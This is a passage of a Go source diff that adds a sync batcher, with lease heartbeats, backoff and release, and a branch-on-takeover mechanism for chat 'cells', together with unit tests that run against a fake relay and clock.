renewed it or the socket vouches and the directory already knows the +// pending count. +func (b *Batcher) tick(ctx context.Context, held *holding) { + if b.takePublished() { + return + } + if !held.covers(b.view, b.toldPending) { + b.beat(ctx) + } +} + +// socketMoved is the socket's state changing. When it no longer vouches the +// lease is on its stored expiry alone, so the beat goes now, not at the tick. A +// socket that was not vouching before has not stopped, so it beats nothing here. +func (b *Batcher) socketMoved(ctx context.Context, held *holding) { + if held.lapsed() { + b.beat(ctx) + } +} + +// toldPending says whether n is what the directory last heard as pending. +func (b *Batcher) toldPending(n uint32) bool { + b.mu.Lock() + defer b.mu.Unlock() + return b.beatSent == n +} + +func (b *Batcher) tell(n uint32) { + b.mu.Lock() + defer b.mu.Unlock() + b.beatSent = n +} + +// takePublished says whether a publish renewed the lease since the last call, +// and forgets it. A publish just after one tick is skipped at the next tick and +// covered by the tick after, at most two ticks, which the TTL allows. +func (b *Batcher) takePublished() bool { + b.mu.Lock() + defer b.mu.Unlock() + was := b.published + b.published = false + return was +} + +// nap waits d, or until w is fired. The sleep is the injected one, so a fake +// clock governs it. It answers only ctx's own error: being woken is not one. +func (b *Batcher) nap(ctx context.Context, d time.Duration, w *wakeup) error { + sctx, cancel := context.WithCancel(ctx) + defer cancel() + over := make(chan struct{}) + woke := make(chan struct{}) + go func() { + defer close(woke) + select { + case <-w.ch(): + cancel() + case <-over: + } + }() + _ = b.sleeper()(sctx, d) + close(over) + <-woke + return ctx.Err() +} + +func (b *Batcher) sleeper() func(context.Context, time.Duration) error { + if b.Sleep != nil { + return b.Sleep + } + return realSleep +} + +func realSleep(ctx context.Context, d time.Duration) error { + t := time.NewTimer(d) + defer t.Stop() + select { + case <-t.C: + return nil + case <-ctx.Done(): + return ctx.Err() + } +} + +// Close is the quit and lid-close path: flush, publish, release. +func (b *Batcher) Close(ctx context.Context) error { + b.flushMu.Lock() + defer b.flushMu.Unlock() + err := b.drain(ctx) + return errors.Join(err, b.release(ctx)) +} + +// release gives the lease up so another device can take over at once. A lease +// already lost has nothing to release. +func (b *Batcher) release(ctx context.Context) error { + d, _, stale := b.view() + if d.Fence == 0 || stale { + return nil + } + err := b.Publisher.Dir.Release(ctx, d.ID(), d.Fence) + if errors.Is(err, directory.ErrFenceStale) { + return nil + } + return err +} + +// flush publishes the newest noted turn and says how long to rest before the +// next try: nothing after a success, a doubled backoff after a failure. +func (b *Batcher) flush(ctx context.Context) time.Duration { + b.flushMu.Lock() + defer b.flushMu.Unlock() + return b.after(b.drain(ctx)) +} + +// after turns a flush's outcome into the next wait. A success needs none: the +// upload itself was the window, and whatever was sealed while it ran goes up +// next, newest head only. A failure that is not a refusal is the zero Refusal, +// which backs off and says nothing. +func (b *Batcher) after(err error) time.Duration { + interval := b.interval() + b.failing = err != nil + if err == nil { + b.backoff = interval + return 0 + } + r, _ := b.surface(err) + b.backoff = r.next(b.backoff, interval, err) + return b.backoff +} + +func (b *Batcher) interval() time.Duration { + if b.Interval > 0 { + return b.Interval + } + return DefaultInterval +} + +// drain publishes what is noted, or branches it when the lease is already lost. +// The caller holds flushMu. +func (b *Batcher) drain(ctx context.Context) error { + head, n := b.newest() + if n == 0 { + return nil + } + if _, _, stale := b.view(); stale { + return b.resolve(ctx) + } + return b.publish(ctx, head) +} + +func (b *Batcher) publish(ctx context.Context, head string) error { + d, _, _ := b.view() + ex, err := b.Publisher.publish(ctx, &d, head, b.info()) + if errors.Is(err, ErrSuperseded) { + b.setStale() + return b.resolve(ctx) + } + if err != nil { + return err + } + b.adopt(d) + b.setFlag(&b.published, true) + b.tell(0) // a publish always carries the newest turn, so nothing is pending + b.recovered() + turns := b.durable(head) + b.emit(Flush{Head: head, Turns: turns, Frames: len(ex.Frames), Objects: ex.Objects, Bytes: ex.Bytes}) + return nil +} + +// beat renews the lease and reports how many turns are not durable yet. +func (b *Batcher) beat(ctx context.Context) { + d, pending, stale := b.view() + if d.Fence == 0 || stale { + return + } + _, err := b.Publisher.Dir.Heartbeat(ctx, d.ID(), directory.Beat{Fence: d.Fence, Pending: pending}) + switch { + case err == nil: + b.tell(pending) + b.recovered() + case errors.Is(err, directory.ErrFenceStale): + b.lost(ctx, d) + default: + b.surface(err) + } +} + +// lost handles a heartbeat that found the lease of seen gone. It waits for any +// flush in flight, and does nothing if that flush already branched. When the +// branch fails the state stays stale and the next flush retries it. +func (b *Batcher) lost(ctx context.Context, seen Driving) { + b.flushMu.Lock() + defer b.flushMu.Unlock() + if now, _, _ := b.view(); now.ID() != seen.ID() || now.Fence != seen.Fence { + return + } + b.setStale() + _ = b.resolve(ctx) +} + +// resolve turns the orphaned turns into a branch, or, when there are none, +// just tells the caller the chat is now a viewer. The caller holds flushMu. +func (b *Batcher) resolve(ctx context.Context) error { + head, n := b.newest() + by := b.holder(ctx) + if n == 0 { + b.superseded(Superseded{By: by}) + return nil + } + id, err := b.branch(ctx, head, n) + if err != nil { + return err + } + b.durable(head) + b.clearStale() + b.superseded(Superseded{Branch: id, By: by}) + return nil +} + +// holder names the device that now holds the lease, or "" when the directory +// cannot say; the answer only decorates a message, so it is never an error. +func (b *Batcher) holder(ctx context.Context) string { + d, _, _ := b.view() + v, err := b.Publisher.Dir.Cell(ctx, d.ID()) + if err != nil { + return "" + } + return v.Cell.Lease.Device +} + +// branch creates the cell that holds the orphaned turns; the Brancher uploads +// their objects first. +func (b *Batcher) branch(ctx context.Context, head string, turns int) (string, error) { + d, _, _ := b.view() + id, err := b.Brancher.Branch(ctx, &d, head, uint32(turns), b.info()) + if err != nil { + return "", err + } + b.adopt(d) + return id, nil +} + +// info is what the caller says about the cell now, with nothing pending: a +// publish always carries the newest turn. +func (b *Batcher) info() PublishInfo { + var in PublishInfo + if b.Info != nil { + in = b.Info() + } + in.Pending = 0 + return in +} + +// newest is the head of the newest noted turn and how many are noted. +func (b *Batcher) newest() (string, int) { + b.mu.Lock() + defer b.mu.Unlock() + if len(b.noted) == 0 { + return "", 0 + } + return b.noted[len(b.noted)-1], len(b.noted) +} + +// durable forgets the noted turns up to and including head, answers how many. +func (b *Batcher) durable(head string) int { + b.mu.Lock() + defer b.mu.Unlock() + for i, id := range b.noted { + if id == head { + b.noted = b.noted[i+1:] + return i + 1 + } + } + return 0 +} + +// view is a copy of the driving state, how many turns are pending, and whether +// the lease is known lost. +func (b *Batcher) view() (Driving, uint32, bool) { + b.mu.Lock() + defer b.mu.Unlock() + return *b.Driving, uint32(len(b.noted)), b.stale +} + +func (b *Batcher) adopt(d Driving) { + b.mu.Lock() + defer b.mu.Unlock() + *b.Driving = d +} + +func (b *Batcher) setStale() { b.setFlag(&b.stale, true) } +func (b *Batcher) clearStale() { b.setFlag(&b.stale, false) } + +func (b *Batcher) setFlag(flag *bool, v bool) { + b.mu.Lock() + defer b.mu.Unlock() + *flag = v +} + +// surface tells the person of a refusal when the run of refusals is news, and +// answers which refusal err was. +func (b *Batcher) surface(err error) (Refusal, bool) { + r, ok := RefusalOf(err) + if ok && b.news(r) && b.OnError != nil { + b.OnError(err) + } + return r, ok +} + +// news says whether the person should hear r now: it has lasted as long as its +// row asks to stay quiet, and this sentence has not been said in this run. It +// marks the sentence as said, so asking twice answers true once. +func (b *Batcher) news(r Refusal) bool { + b.mu.Lock() + defer b.mu.Unlock() + now := b.now() + if b.refusedSince.IsZero() { + b.refusedSince = now + } + if b.told == r.Is.Error() || now.Sub(b.refusedSince) < r.Quiet { + return false + } + b.told = r.Is.Error() + return true +} + +func (b *Batcher) now() time.Time { + if b.Now != nil { + return b.Now() + } + return time.Now() +} + +// recovered notes that the relay answered, so the next refusal is news again. +func (b *Batcher) recovered() { + b.mu.Lock() + defer b.mu.Unlock() + b.refusedSince, b.told = time.Time{}, "" +} + +func (b *Batcher) emit(f Flush) { + if b.OnFlush != nil { + b.OnFlush(f) + } +} + +func (b *Batcher) superseded(s Superseded) { + if b.OnSuperseded != nil { + b.OnSuperseded(s) + } +} diff --git a/internal/cellsync/batch_test.go b/internal/cellsync/batch_test.go new file mode 100644 index 0000000000..40edb765bc --- /dev/null +++ b/internal/cellsync/batch_test.go @@ -0,0 +1,459 @@ +package cellsync + +import ( + "context" + "errors" + "fmt" + "runtime" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// fakeInner is a Stage 0 store that seals instantly in the fake engine, with +// no network at all. +type fakeInner struct { + r *rig + n int +} + +func (f *fakeInner) Seal(context.Context, cell.Cell, cellstore.TurnInfo) (cellstore.Sealed, error) { + f.n++ + head := f.r.seal(map[string]string{"a": fmt.Sprint(f.n)}) + return cellstore.Sealed{Turn: cellstore.Turn{ID: head}}, nil +} + +func TestPublishingNeverBlocksSeal(t *testing.T) { + r := newRig(t) + b := r.batcher() + entered, release := make(chan struct{}), make(chan struct{}) + var once sync.Once + r.store.set(nil, func(ctx context.Context) { // the store hangs + once.Do(func() { close(entered) }) + select { + case <-release: + case <-ctx.Done(): + } + }) + note(b, r.seal(map[string]string{"a": "one"})) + flushed := make(chan struct{}) + go func() { b.flush(context.Background()); close(flushed) }() + <-entered // a flush is now stuck inside the store + + sealed := make(chan error, 1) + p := &Publishing{Inner: &fakeInner{r: r}, Batcher: b} + go func() { _, err := p.Seal(context.Background(), r.cellA, cellstore.TurnInfo{}); sealed <- err }() + select { + case err := <-sealed: + if err != nil { + t.Fatal(err) + } + case <-time.After(5 * time.Second): + t.Fatal("a seal waited on the network") + } + if b.Pending() != 2 { + t.Fatalf("pending = %d, want 2", b.Pending()) + } + close(release) + <-flushed +} + +func TestBatcherPublishesNewestOnly(t *testing.T) { + r := newRig(t) + b := r.batcher() + var flushes []Flush + b.OnFlush = func(f Flush) { flushes = append(flushes, f) } + h1 := r.seal(map[string]string{"a": "1"}) + h2 := r.seal(map[string]string{"a": "2"}) + h3 := r.seal(map[string]string{"a": "3"}) + note(b, h1, h2, h3) + + if d := b.flush(context.Background()); d != 0 { + t.Fatalf("next flush in %v, want at once: the upload was the window", d) + } + if got := r.head(cellID); got.Head != h3 { + t.Fatalf("head %s, want the newest %s", got.Head, h3) + } + if len(flushes) != 1 || flushes[0].Head != h3 || flushes[0].Turns != 3 || flushes[0].Frames != 1 || flushes[0].Objects == 0 { + t.Fatalf("flushes = %+v", flushes) + } + if b.Pending() != 0 || r.puts() != 1 { + t.Fatalf("pending %d, puts %d", b.Pending(), r.puts()) + } +} + +func TestBatcherHeartbeatCarriesPending(t *testing.T) { + r := newRig(t) + b := r.batcher() + note(b, r.seal(map[string]string{"a": "1"})) + b.flush(context.Background()) + note(b, r.seal(map[string]string{"a": "2"}), r.seal(map[string]string{"a": "3"})) + + r.clock.Advance(directory.HeartbeatEvery) + b.beat(context.Background()) + got := r.head(cellID) + if got.Lease.Pending != 2 || got.Lease.Expires <= r.clock.Now().UnixMilli() { + t.Fatalf("lease after heartbeat: %+v", got.Lease) + } +} + +func TestStoreFailureKeepsSealing(t *testing.T) { + r := newRig(t) + b := r.batcher() + h1 := r.publishFirst(map[string]string{"a": "0"}) + r.store.set(blobstore.ErrUnreachable, nil) + inner := &fakeInner{r: r} + p := &Publishing{Inner: inner, Batcher: b} + seal := func() { + if _, err := p.Seal(context.Background(), r.cellA, cellstore.TurnInfo{}); err != nil { + t.Fatalf("seal failed while the store was full: %v", err) + } + } + + var waits []time.Duration + for i := 0; i < 6; i++ { + seal() + waits = append(waits, b.flush(context.Background())) + } + s := time.Second + want := []time.Duration{10 * s, 20 * s, 40 * s, 60 * s, 60 * s, 60 * s} + for i := range want { + if waits[i] != want[i] { + t.Fatalf("backoff %v, want %v", waits, want) + } + } + if b.Pending() != 6 || r.head(cellID).Head != h1 { + t.Fatalf("pending %d, head %s", b.Pending(), r.head(cellID).Head) + } + + r.store.set(nil, nil) + if d := b.flush(context.Background()); d != 0 || b.Pending() != 0 { + t.Fatalf("after recovery: wait %v, pending %d", d, b.Pending()) + } +} + +func TestStoreDownDirectoryUp(t *testing.T) { + r := newRig(t) + b := r.batcher() + h1 := r.publishFirst(map[string]string{"a": "0"}) + r.store.set(blobstore.ErrUnreachable, nil) + h2, h3 := r.seal(map[string]string{"a": "1"}), r.seal(map[string]string{"a": "2"}) + note(b, h2, h3) + b.flush(context.Background()) + + for i := 0; i < 5; i++ { // 50 s: longer than a lease + r.clock.Advance(directory.HeartbeatEvery) + b.beat(context.Background()) + if _, err := r.dir.For(devB).Acquire(context.Background(), cellID, directory.AcquireOpts{}); !errors.Is(err, directory.ErrLeaseHeld) { + t.Fatalf("beat %d: takeover = %v, the lease should be kept", i, err) + } + } + got := r.head(cellID) + if got.Head != h1 || got.Lease.Pending != 2 || b.Pending() != 2 { + t.Fatalf("head %s pending %d/%d", got.Head, got.Lease.Pending, b.Pending()) + } + + r.store.set(nil, nil) + b.flush(context.Background()) + if got := r.head(cellID); got.Head != h3 || b.Pending() != 0 { + t.Fatalf("the next tick did not publish: head %s, pending %d", got.Head, b.Pending()) + } +} + +func TestDirectoryDownThenFenceStale(t *testing.T) { + r := newRig(t) + b := r.batcher() + h1 := r.publishFirst(map[string]string{"a": "0"}) + var branches, by []string + b.OnSuperseded = func(s Superseded) { branches, by = append(branches, s.Branch), append(by, s.By) } + h2 := r.seal(map[string]string{"a": "1"}) + note(b, h2) + + r.dirA.set(directory.ErrUnreachable) + b.flush(context.Background()) // uploads may go through; the head cannot move + if r.head(cellID).Head != h1 { + t.Fatal("the head moved with the directory down") + } + r.takeOver() + r.bPublishes(h1) + r.dirA.set(nil) + + b.flush(context.Background()) + if len(branches) != 1 { + t.Fatalf("OnSuperseded calls: %v", branches) + } + if got := r.head(cellID); got.Head != otherHead { + t.Fatalf("the old cell's head moved to %s", got.Head) + } + if got := r.head(branches[0]); got.Head != h2 || got.ParentCell != cellID || got.OrphanTurns != 1 { + t.Fatalf("branch = %+v", got) + } +} + +func TestBatcherRidesOutRelayRestart(t *testing.T) { + r := newRig(t) + b := r.batcher() + r.publishFirst(map[string]string{"a": "0"}) + h2 := r.seal(map[string]string{"a": "1"}) + note(b, h2) + var superseded int + b.OnSuperseded = func(Superseded) { superseded++ } + + r.dirA.set(directory.ErrUnreachable) // the relay restarts + r.clock.Advance(directory.HeartbeatEvery) + b.beat(context.Background()) + if d := b.flush(context.Background()); d != 2*b.Interval { + t.Fatalf("backoff = %v", d) + } + r.dirA.set(nil) // back before the lease lapsed + r.clock.Advance(directory.HeartbeatEvery) + b.beat(context.Background()) + b.flush(context.Background()) + + got := r.head(cellID) + if got.Head != h2 || got.Lease.Fence != 1 || got.Lease.Device != devA || superseded != 0 { + t.Fatalf("cell %+v, superseded %d", got, superseded) + } +} + +func TestSkewIsSurfacedOnce(t *testing.T) { + r := newRig(t) + b := r.batcher() + var shown []error + b.OnError = func(err error) { shown = append(shown, err) } + r.publishFirst(map[string]string{"a": "0"}) + note(b, r.seal(map[string]string{"a": "1"})) + + r.dirA.set(wireauth.ErrSkew) + for i := 0; i < 3; i++ { + if d := b.flush(context.Background()); d != b.Interval { + t.Fatalf("skew was retried on the backoff: %v", d) + } + b.beat(context.Background()) + } + if len(shown) != 1 || !errors.Is(shown[0], wireauth.ErrSkew) { + t.Fatalf("OnError calls: %v", shown) + } + + r.dirA.set(nil) // a fixed clock makes the next skew news again + b.flush(context.Background()) + r.dirA.set(wireauth.ErrSkew) + note(b, r.seal(map[string]string{"a": "2"})) + b.flush(context.Background()) + if len(shown) != 2 { + t.Fatalf("OnError calls after recovery: %v", shown) + } +} + +func TestCloseFlushesAndReleases(t *testing.T) { + r := newRig(t) + b := r.batcher() + h1 := r.seal(map[string]string{"a": "1"}) + note(b, h1) + if err := b.Close(context.Background()); err != nil { + t.Fatal(err) + } + got := r.head(cellID) + if got.Head != h1 || got.Lease.Expires != 0 { + t.Fatalf("after close: %+v", got) + } + if _, err := r.dir.For(devB).Acquire(context.Background(), cellID, directory.AcquireOpts{}); err != nil { + t.Fatalf("a released lease is takeable at once: %v", err) + } +} + +func TestBatcherRunFlushesAtOnceAndBeatsOnSchedule(t *testing.T) { + r := newRig(t) + b := r.batcher() + sl := newFakeSleeper(r.clock) + b.Sleep = sl.Sleep + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { done <- b.Run(ctx) }() + sl.settle(1) // the flush loop waits for a turn, so only the heartbeat sleeps + + h1 := r.seal(map[string]string{"a": "1"}) + note(b, h1) + eventually(t, "a lone turn to go up at once", func() bool { return headIfAny(r) == h1 }) + h2 := r.seal(map[string]string{"a": "2"}) + note(b, h2) // no window follows an upload, so the next turn goes up at once too + eventually(t, "the next turn to go up at once", func() bool { return headIfAny(r) == h2 }) + sl.settle(1) // and the flush loop is back to waiting for a turn, not for a timer + cancel() + if err := <-done; !errors.Is(err, context.Canceled) { + t.Fatalf("Run = %v", err) + } +} + +// headIfAny is the relay's head for the chat, or "" while it has no record. +func headIfAny(r *rig) string { + v, err := r.dir.For(devB).Cell(context.Background(), cellID) + if err != nil { + return "" + } + return v.Cell.Head +} + +// eventually waits up to a real second for ok, so a loop that never gets there +// fails the test instead of hanging it. +func eventually(t *testing.T, what string, ok func() bool) { + t.Helper() + for deadline := time.Now().Add(time.Second); !ok(); time.Sleep(time.Millisecond) { + if time.Now().After(deadline) { + t.Fatalf("timed out waiting for %s", what) + } + } +} + +// Coalescing comes from the upload's own duration and from nothing else: while +// one upload is in flight, nine more seals arrive, and when it ends exactly one +// more upload sends the newest of them. A burst of ten costs two uploads, and a +// seal after that goes up at once, with no window to wait out. +func TestBurstCostsTwoUploadsAndTheNextSealGoesUpAtOnce(t *testing.T) { + r := newRig(t) + b := r.batcher() + first := r.publishFirst(map[string]string{"a": "0"}) + puts := r.puts() + inFlight, release := make(chan struct{}), make(chan struct{}) + var once sync.Once + r.store.set(nil, func(context.Context) { + once.Do(func() { close(inFlight); <-release }) // only the first upload is slow + }) + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { done <- b.Run(ctx) }() + + note(b, r.seal(map[string]string{"a": "1"})) + <-inFlight // the first upload has begun and is held + var last string + for i := 2; i <= 10; i++ { + last = r.seal(map[string]string{"a": string(rune('0' + i))}) + note(b, last) + } + close(release) + eventually(t, "the newest head to go up", func() bool { return r.head(cellID).Head == last && b.Pending() == 0 }) + if got := r.puts() - puts; got != 2 || r.head(cellID).Head == first { + t.Fatalf("a burst of ten made %d uploads, want 2", got) + } + + after := r.seal(map[string]string{"a": "z"}) + note(b, after) + eventually(t, "a seal after the burst to go up at once", func() bool { return r.head(cellID).Head == after }) + cancel() + <-done +} + +// A publish renews the lease, so a chat that has just published sends no +// heartbeat at its next tick; once it goes quiet, one heartbeat goes out per tick. +func TestOnlyAnIdleChatSendsHeartbeats(t *testing.T) { + r := newRig(t) + b := r.batcher() + sl := newFakeSleeper(r.clock) + b.Sleep = sl.Sleep + r.publishFirst(map[string]string{"a": "0"}) + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { done <- b.Run(ctx) }() + sl.settle(1) + h := r.seal(map[string]string{"a": "1"}) + note(b, h) + eventually(t, "the publish", func() bool { return r.head(cellID).Head == h }) + sl.settle(1) // only the heartbeat sleeps + + sl.advance(directory.HeartbeatEvery) // the tick after a publish + sl.settle(1) + if got := r.dirA.beats.Load(); got != 0 { + t.Fatalf("%d heartbeats at the tick after a publish, want none", got) + } + sl.advance(directory.HeartbeatEvery) // a tick with nothing published + sl.settle(1) + if got := r.dirA.beats.Load(); got != 1 { + t.Fatalf("%d heartbeats at a quiet tick, want 1", got) + } + cancel() + <-done +} + +// Idle with nothing sealed since the last upload asks the relay for nothing. +func TestIdleWithNothingNewIsFree(t *testing.T) { + r := newRig(t) + b := r.batcher() + b.Interval = 7 * time.Second + sl := newFakeSleeper(r.clock) + b.Sleep = sl.Sleep + r.publishFirst(map[string]string{"a": "0"}) + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { done <- b.Run(ctx) }() + sl.settle(1) + puts := r.puts() + b.Idle() + for range 10000 { // there is no event to wait for: an idle with nothing noted must simply do nothing + runtime.Gosched() + } + sl.settle(1) + if r.puts() != puts { + t.Fatalf("an idle with nothing new made %d puts", r.puts()-puts) + } + cancel() + <-done +} + +// When the relay is failing, a finished turn must not make the client retry at +// once: thousands of clients would hammer a struggling relay after every turn. +// Idle only means "flush when the backoff ends", and that flush sends it all. +func TestIdleDuringBackoffWaitsForTheBackoff(t *testing.T) { + r := newRig(t) + b := r.batcher() + b.Interval = 7 * time.Second + sl := newFakeSleeper(r.clock) + b.Sleep = sl.Sleep + r.publishFirst(map[string]string{"a": "0"}) + var attempts atomic.Int32 + r.store.set(blobstore.ErrUnreachable, func(context.Context) { attempts.Add(1) }) + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { done <- b.Run(ctx) }() + sl.settle(1) + + note(b, r.seal(map[string]string{"a": "1"})) + b.Idle() + sl.settleOn(2 * b.Interval) // the idle flush failed once and the loop backs off + if attempts.Load() != 1 { + t.Fatalf("%d upload attempts after the first idle, want 1", attempts.Load()) + } + + h2 := r.seal(map[string]string{"a": "2"}) + note(b, h2) + b.Idle() + b.Idle() + for range 10000 { // give a wrongly woken flush loop every chance to run; there is no event to wait for + runtime.Gosched() + } + sl.advance(time.Second) + sl.settleOn(2*b.Interval - time.Second) // still the same backoff, not a new one begun by an idle retry + if attempts.Load() != 1 { + t.Fatalf("an idle during the backoff retried: %d attempts", attempts.Load()) + } + sl.advance(2*b.Interval - time.Second) // the backoff ends: one more attempt + sl.settleOn(4 * b.Interval) + if attempts.Load() != 2 { + t.Fatalf("%d upload attempts across the backoff, want 2", attempts.Load()) + } + + r.store.set(nil, nil) + sl.advance(4 * b.Interval) + eventually(t, "the newest head to be sent", func() bool { return headIfAny(r) == h2 }) + if got := r.head(cellID).Head; got != h2 || b.Pending() != 0 { + t.Fatalf("after the backoff: head %s, %d pending; want the newest head sent", got, b.Pending()) + } + cancel() + <-done +} diff --git a/internal/cellsync/branch.go b/internal/cellsync/branch.go new file mode 100644 index 0000000000..d5b7c9bd38 --- /dev/null +++ b/internal/cellsync/branch.go @@ -0,0 +1,135 @@ +package cellsync + +import ( + "context" + "encoding/json" + "errors" + "maps" + "os" + "path/filepath" + "sync" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +// Brancher turns turns that lost their lease into a new cell (L12). Nothing is +// overwritten: the old cell keeps its head and the new one names the old as +// its parent. +type Brancher struct { + Dir directory.Client + // Publisher uploads the branch head's objects before the branch exists, so + // no caller can forget that a branch whose head nobody can fetch is worse + // than none. It is required. + Publisher *Publisher + NewID func() (string, error) // cell.NewID + // Map records old id -> new id on this device so the local chat opens as + // the branch. Nil records nothing. + Map *BranchMap +} + +// Branch uploads what head needs, creates the child cell for it, and points +// from at it. turns is how many turns the branch holds that the parent does +// not. What an earlier refused publish already uploaded is reused, because +// objects are content-addressed. +func (b Brancher) Branch(ctx context.Context, from *Driving, head string, turns uint32, in PublishInfo) (string, error) { + _, frames, err := b.Publisher.uploadPlan(ctx, from.Cell, head) + if err != nil { + return "", err + } + // The branch's own upload is the only writer of the orphan frames, and + // skipHeld never re-uploads them later, so the branch's plan must be born + // naming them: the parent's covers only the parent's closure. + plan := unionFrames(from.Frames, frames) + id, err := b.NewID() + if err != nil { + return "", err + } + _, err = b.Dir.Create(ctx, id, directory.CellInit{ + Head: head, Class: in.Class, Title: in.Title, Size: in.Size, Keys: in.Keys, + ParentCell: from.ID(), OrphanTurns: turns, Frames: plan, + }) + if err != nil { + return "", err + } + if err := b.Map.Set(from.ID(), id); err != nil { + return "", err + } + from.Remote, from.Fence, from.Head = id, 1, head + return id, nil +} + +// BranchMap is the device-local file /v3/sync/branches.json. +type BranchMap struct { + path string + mu sync.Mutex + m map[string]string +} + +type branchFile struct { + V uint16 `json:"V"` + Map map[string]string `json:"map"` +} + +// OpenBranchMap reads the map under home; a missing file is an empty map. +func OpenBranchMap(home string) (*BranchMap, error) { + m := &BranchMap{path: filepath.Join(home, "v3", "sync", "branches.json"), m: map[string]string{}} + raw, err := os.ReadFile(m.path) + if errors.Is(err, os.ErrNotExist) { + return m, nil + } + if err != nil { + return nil, err + } + var f branchFile + if err := json.Unmarshal(raw, &f); err != nil { + return nil, err + } + maps.Copy(m.m, f.Map) + return m, nil +} + +// Set records that the chat that was old is now next, and saves the file. +func (m *BranchMap) Set(old, next string) error { + if m == nil { + return nil + } + m.mu.Lock() + defer m.mu.Unlock() + m.m[old] = next + return m.save() +} + +// Resolve follows old -> new links to the newest branch; an id never branched +// resolves to itself. The walk is bounded so a damaged file cannot loop it. +func (m *BranchMap) Resolve(id string) string { + if m == nil { + return id + } + m.mu.Lock() + defer m.mu.Unlock() + for range len(m.m) { + next, ok := m.m[id] + if !ok { + break + } + id = next + } + return id +} + +// save writes the file whole and renames it into place, so a crash leaves the +// old map or the new one, never half of either. +func (m *BranchMap) save() error { + raw, err := json.Marshal(branchFile{V: 1, Map: m.m}) + if err != nil { + return err + } + if err := os.MkdirAll(filepath.Dir(m.path), 0o700); err != nil { + return err + } + tmp := m.path + ".tmp" + if err := os.WriteFile(tmp, raw, 0o600); err != nil { + return err + } + return os.Rename(tmp, m.path) +} diff --git a/internal/cellsync/branch_test.go b/internal/cellsync/branch_test.go new file mode 100644 index 0000000000..46308dc1ad --- /dev/null +++ b/internal/cellsync/branch_test.go @@ -0,0 +1,169 @@ +package cellsync + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "reflect" + "sync" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/directory" +) + +// TestBranchCreatesChildWithParent is L12: three turns are sealed while the +// upload is blocked, another device takes over, and on return the turns become +// a child cell while the old head is untouched. +func TestBranchCreatesChildWithParent(t *testing.T) { + r := newRig(t) + b := r.batcher() + h1 := r.publishFirst(map[string]string{"a": "0"}) + var branches, by []string + b.OnSuperseded = func(s Superseded) { branches, by = append(branches, s.Branch), append(by, s.By) } + + r.store.set(blobstore.ErrUnreachable, nil) + var last string + for _, v := range []string{"1", "2", "3"} { + last = r.seal(map[string]string{"a": v}) + note(b, last) + b.flush(context.Background()) + } + if b.Pending() != 3 { + t.Fatalf("pending = %d", b.Pending()) + } + r.takeOver() + r.bPublishes(h1) + r.store.set(nil, nil) + + b.flush(context.Background()) + if len(branches) != 1 || by[0] != devB { + t.Fatalf("OnSuperseded calls: %v by %v", branches, by) + } + child := r.head(branches[0]) + if child.Head != last || child.ParentCell != cellID || child.OrphanTurns != 3 || + child.Lease.Device != devA || child.Lease.Fence != 1 { + t.Fatalf("child = %+v", child) + } + if old := r.head(cellID); old.Head != otherHead || old.Lease.Device != devB { + t.Fatalf("old cell was touched: %+v", old) + } + if b.Pending() != 0 || r.drv.ID() != branches[0] || r.drv.Cell.ID != cellID { + t.Fatalf("driving %+v pending %d", r.drv, b.Pending()) + } + if got := r.branch.Resolve(cellID); got != branches[0] { + t.Fatalf("branch map resolves the chat to %s", got) + } + + // The turns are readable from the store through the branch's head. + f, c := fetcherFor(t, r.mem) + if err := f.Fetch(context.Background(), c, child.Head); err != nil { + t.Fatalf("the branch head is not in the store: %v", err) + } + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, map[string]string{"a": "3"}) { + t.Fatalf("branch files %v", got) + } +} + +func TestTakeoverDuringUploadBranches(t *testing.T) { + r := newRig(t) + b := r.batcher() + h1 := r.publishFirst(map[string]string{"a": "0"}) + var branches, by []string + b.OnSuperseded = func(s Superseded) { branches, by = append(branches, s.Branch), append(by, s.By) } + h2 := r.seal(map[string]string{"a": "1"}) + note(b, h2) + + var once sync.Once + r.store.set(nil, func(context.Context) { // B takes over while A is mid-upload + once.Do(func() { r.takeOver(); r.bPublishes(h1) }) + }) + b.flush(context.Background()) + + if len(branches) != 1 { + t.Fatalf("OnSuperseded calls: %v", branches) + } + if old := r.head(cellID); old.Head != otherHead { + t.Fatalf("B's head was disturbed: %+v", old) + } + if got := r.head(branches[0]); got.Head != h2 || got.ParentCell != cellID || got.OrphanTurns != 1 { + t.Fatalf("branch = %+v", got) + } +} + +func TestBranchMapPersists(t *testing.T) { + home := t.TempDir() + m, err := OpenBranchMap(home) + if err != nil { + t.Fatal(err) + } + if got := m.Resolve("old"); got != "old" { + t.Fatalf("an unbranched id resolved to %q", got) + } + if err := m.Set("old", "new1"); err != nil { + t.Fatal(err) + } + if err := m.Set("new1", "new2"); err != nil { + t.Fatal(err) + } + + again, err := OpenBranchMap(home) + if err != nil { + t.Fatal(err) + } + if got := again.Resolve("old"); got != "new2" { + t.Fatalf("after reopen old resolves to %q", got) + } + raw, err := os.ReadFile(filepath.Join(home, "v3", "sync", "branches.json")) + if err != nil { + t.Fatal(err) + } + var file struct { + V int + Map map[string]string + } + if err := json.Unmarshal(raw, &file); err != nil || file.V != 1 || file.Map["old"] != "new1" { + t.Fatalf("branches.json = %s (%v)", raw, err) + } +} + +func TestBranchWithoutMapStillCreates(t *testing.T) { + r := newRig(t) + h1 := r.publishFirst(map[string]string{"a": "0"}) + id, err := Brancher{Dir: r.dirA, Publisher: r.pub, NewID: r.newID}.Branch(context.Background(), r.drv, h1, 2, r.info()) + if err != nil { + t.Fatal(err) + } + if got := r.head(id); got.OrphanTurns != 2 || got.ParentCell != cellID { + t.Fatalf("branch = %+v", got) + } + if _, err := r.dir.For(devB).Acquire(context.Background(), id, directory.AcquireOpts{}); err != directory.ErrLeaseHeld { + t.Fatalf("the branch is held by A: %v", err) + } +} + +// TestBranchUploadsItsOwnHead pins ruling (a): a caller that seals a head and 